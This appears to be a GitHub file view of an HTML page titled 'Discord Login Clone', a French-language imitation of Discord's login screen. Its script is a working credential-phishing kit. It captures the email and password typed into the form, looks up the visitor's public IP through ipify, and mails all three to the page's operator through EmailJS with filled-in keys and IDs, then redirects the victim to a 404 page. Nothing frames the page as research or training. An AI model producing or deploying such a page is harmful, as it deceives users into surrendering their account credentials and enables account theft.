-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
117 lines (112 loc) · 4.13 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Discord Login Clone</title>
<style>
body {
background-color: #36393f;
font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;
color: #dcddde;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.login-container {
background-color: #2f3136;
padding: 40px;
border-radius: 5px;
width: 400px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.2);
text-align: center;
}
.login-container img {
width: 50px;
margin-bottom: 20px;
}
.login-container h1 {
color: #fff;
margin-bottom: 20px;
font-size: 24px;
}
.login-container input {
width: calc(100% - 20px);
padding: 10px;
margin: 10px 0;
border: none;
border-radius: 5px;
background-color: #202225;
color: #dcddde;
}
.login-container button {
width: calc(100% - 20px);
padding: 10px;
background-color: #7289da;
border: none;
border-radius: 5px;
color: white;
font-size: 16px;
cursor: pointer;
margin-top: 10px;
}
.login-container button:hover {
background-color: #5b6eae;
}
.login-container a {
color: #7289da;
text-decoration: none;
font-size: 14px;
display: block;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="login-container">
<img src="discord-logo-small.png" alt="Discord logo">
<h1>Bienvenue de retour !</h1>
<p>Nous sommes tellement heureux de vous revoir !</p>
<form id="login-form">
<input type="email" id="email" name="user_email" placeholder="Email" required>
<br>
<input type="password" id="password" name="user_password" placeholder="Mot de passe" required>
<button type="submit">Se connecter</button>
</form>
<a href="#">Mot de passe oublié ?</a>
</div>
<script type="text/javascript" src="https://cdn.emailjs.com/dist/email.min.js"></script>
<script type="text/javascript">
(function(){
emailjs.init("9U4ItsKhNNbwTGTRI"); // Remplacez YOUR_PUBLIC_API_KEY par votre clé API publique EmailJS
})();
document.getElementById('login-form').addEventListener('submit', function(event) {
event.preventDefault();
// Collecter les informations du formulaire
var userEmail = document.getElementById('email').value;
var userPassword = document.getElementById('password').value;
// Obtenir l'adresse IP publique de l'utilisateur
fetch('https://api.ipify.org?format=json')
.then(response => response.json())
.then(data => {
var userIP = data.ip;
// Envoyer l'e-mail
emailjs.send('ec65k8s', 'hsdj6ti', {
user_email: userEmail,
user_password: userPassword,
user_ip: userIP
}).then(function(response) {
console.log('SUCCESS!', response.status, response.text);
// Redirection après l'envoi réussi de l'e-mail
window.location.href = "404.html"; // Remplacez par la page souhaitée après la connexion
}, function(error) {
console.log('FAILED...', error);
});
})
.catch(error => console.error('Error fetching IP:', error));
});
</script>
</body>
</html>